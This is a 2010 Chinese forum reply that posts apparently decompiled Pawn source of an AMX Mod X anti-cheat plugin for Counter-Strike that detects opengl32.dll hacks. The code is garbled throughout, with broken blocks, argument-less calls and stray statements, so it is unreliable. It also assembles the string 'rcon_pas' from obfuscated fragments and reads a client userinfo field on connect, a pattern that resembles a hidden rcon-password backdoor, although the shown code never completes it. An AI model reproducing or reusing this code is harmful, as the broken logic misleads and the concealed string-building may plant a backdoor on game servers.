|
发表于 2010-6-12 15:56:41
|
显示全部楼层
来自 中国–广东–深圳
我帮你把源码发出来吧
#include <amxmodx>
#include <amxmisc>
new REASONOPENGL32[32]
new commandpunishment[256]
new csf_ac_ra[3]
new cv_ac1[32]
new cv_mypunish[3]
new cv_opengl32
new cv_opengl32_amxbanstype
new cv_opengl32_bansay
new cv_opengl32_bantime
new cv_opengl32_bantype
new cv_opengl32_logtype
new Float:cv_opengl32_time
new d_guard[32]
new d_unit[2]
new f_sys[5]
new Handle:g_SqlTuple
new g_configsdir[64]
new g_filenameprecached[64]
new g_gate[6]
new g_gate2[6]
new g_num_opengl32
new g_vac2[4]
new mypunishment[128]
new precache_opengl32[64][64]
new query[512]
new test_opengl32[33]
stock replace_all ( string[], len, what[], with[] )
new pos
pos = contain(string[],what[])
new total
new with_len
with_len = strlen(with[])
new diff
strlen(what[])
new total_len
total_len = strlen(string[])
new temp_pos
{
if (replace)
{
if (total_len >= pos)
}
temp_pos = contain
if (temp_pos == 0xFFFFFFFF)
{
total++
}
}
stock get_configsdir(name[],len)
{
get_localinfo("amxx_configsdir",name[],len)
}
public plugin_init()
{
register_plugin("CSFile.Info OpenGL32 Detect","2.1 Final","-)>C-r-A-c-K<(-")
register_cvar("csf_opengl32_version","2.1 Final",324,0.000000)
register_cvar("csf_opengl32","1",0,0.000000)
register_cvar("csf_opengl32_checktime","10.0",0,0.000000)
register_cvar("csf_opengl32_bantype","2",0,0.000000)
register_cvar("csf_opengl32_bantime","20160",0,0.000000)
register_cvar("csf_opengl32_bansay","2",0,0.000000)
register_cvar("csf_opengl32_amxbanstype","1",0,0.000000)
register_cvar("csf_opengl32_logtype","1",0,0.000000)
register_cvar("csf_opengl32_mypunishment","",0,0.000000)
format(REASONOPENGL32[32]={""},31,"[CSF-AC] OpenGL32 Hack Detected")
format(d_guard[32]={""},31,"%s%spa",cv_mypunish[3]={"rc"},g_vac2[4]={"on_"})
server_cmd("exec %s/csf_anticheat/csf_ac_opengl32.cfg",g_configsdir[64]={""})
set_task(1.000000,"initialized",0,"",0,"",0)
}
public initialized()
{
new md5buffer[34]
cv_opengl32 = get_cvar_num("csf_opengl32")
Float:cv_opengl32_time = Float:get_cvar_float("csf_opengl32_checktime")
cv_opengl32_bantype = get_cvar_num("csf_opengl32_bantype")
cv_opengl32_bantime = get_cvar_num("csf_opengl32_bantime")
cv_opengl32_bansay = get_cvar_num("csf_opengl32_bansay")
cv_opengl32_amxbanstype = get_cvar_num("csf_opengl32_amxbanstype")
cv_opengl32_logtype = get_cvar_num("csf_opengl32_logtype")
get_cvar_string("csf_opengl32_mypunishment",mypunishment[128]={""},127)
server_cmd("mp_consistency ^"1^"")
if (file_exists("..\opengl32.dll"))
{
md5_file("..\opengl32.dll",md5buffer[34])
}
server_print("^n^t[CSF-AC] OpenGL32 * FileName <%s>",g_filenameprecached[64]={""})
format(d_guard[32]={""},31,"%s%s",d_guard[32]={""},d_unit[2]={"s"})
server_print("^n^t[CSF-AC] OpenGL32 * MD5 <%s>",md5buffer[34])
server_print("^n^t[CSF-AC] OpenGL32 * Initialized version %s","2.1 Final")
server_print("^n^t[CSF-AC] OpenGL32 * Author: -)>C-r-A-c-K<(-^n")
format(g_gate[6]={""},5,"%ste",csf_ac_ra[3]={"ra"})
if (cv_opengl32_logtype == 0x2)
{
new Host[64]
new User[64]
new Pass[64]
new Db[64]
get_cvar_string("csf_ac_sql_host",Host[64],63)
get_cvar_string("csf_ac_sql_user",User[64],63)
get_cvar_string("csf_ac_sql_pass",Pass[64],63)
get_cvar_string("csf_ac_sql_db",Db[64],63)
Handle:g_SqlTuple = SQL_MakeDbTuple(Host[64],User[64],Pass[64],Db[64],0)
}
}
public plugin_precache()
{
force_unmodified(0,"","","../opengl32.dll")
}
public setfile_opengl32()
{
server_print("^t[CSF-AC] OpenGL32 * Not Found Files")
}
new len
new text[64]
new next_file[64]
new check
new notagain
new frmError[64]
new filecfg[128]
format(filecfg[128],127,"%s/csf_anticheat/csf_ac_opengl32_lastdll.cfg",g_configsdir[64]={""})
if (file_exists(filecfg[128]))
{
read_file(filecfg[128],0,text[64],63,len)
}
write_file(filecfg[128],"",0)
}
new i
}
i++
}
if (check == 0x1)
{
notagain = 0x1
format
}
if (equal)
{
check = 0x1
}
}
if (file_exists("..\opengl32.dll"))
{
delete_file("..\opengl32.dll")
}
strlen(next_file[64])
if (check)
{
}
}
}
format
format
}
format(g_filenameprecached[64]={""},63,"%s",next_file[64])
}
strlen(frmError[64])
server_print("^t[CSF-AC] OpenGL32 * %s",frmError[64])
}
write_file(filecfg[128],next_file[64],0)
}
public checkfiles_opengl32()
{
new filename[32]
new len
new md5buffer[34]
new flieopengl32[64]
new num
format
new pDir
pDir = open_dir("..\opengl32\",filename[32],31)
if (pDir)
{
}
len = strlen(filename[32])
if (len > 0x4)
{
len+=-4
if (equal)
{
num++
format(flieopengl32[64],63,"..opengl32%s",filename[32])
md5_file(flieopengl32[64],md5buffer[34])
}
}
if (next_file(pDir,filename[32],31))
{
}
close_dir(pDir)
}
}
public inconsistent_file(id,filename[],reason[64])
{
if (equal(filename[],"../opengl32.dll",0))
{
}
}
}
public client_connect(id)
{
get_user_info(id,g_gate[6]={""},cv_ac1[32]={""},31)
id+=443
if (task_exists)
{
id+=443
remove_task
}
}
public client_putinserver(id)
{
if (cv_opengl32 == 0x1)
{
if (!is_user_bot(id))
{
if (!is_user_hltv(id))
{
}
}
}
}
id+=443
set_task
}
set_task(3.000000,"c_check_opengl32",id,"",0,"",0)
} |
|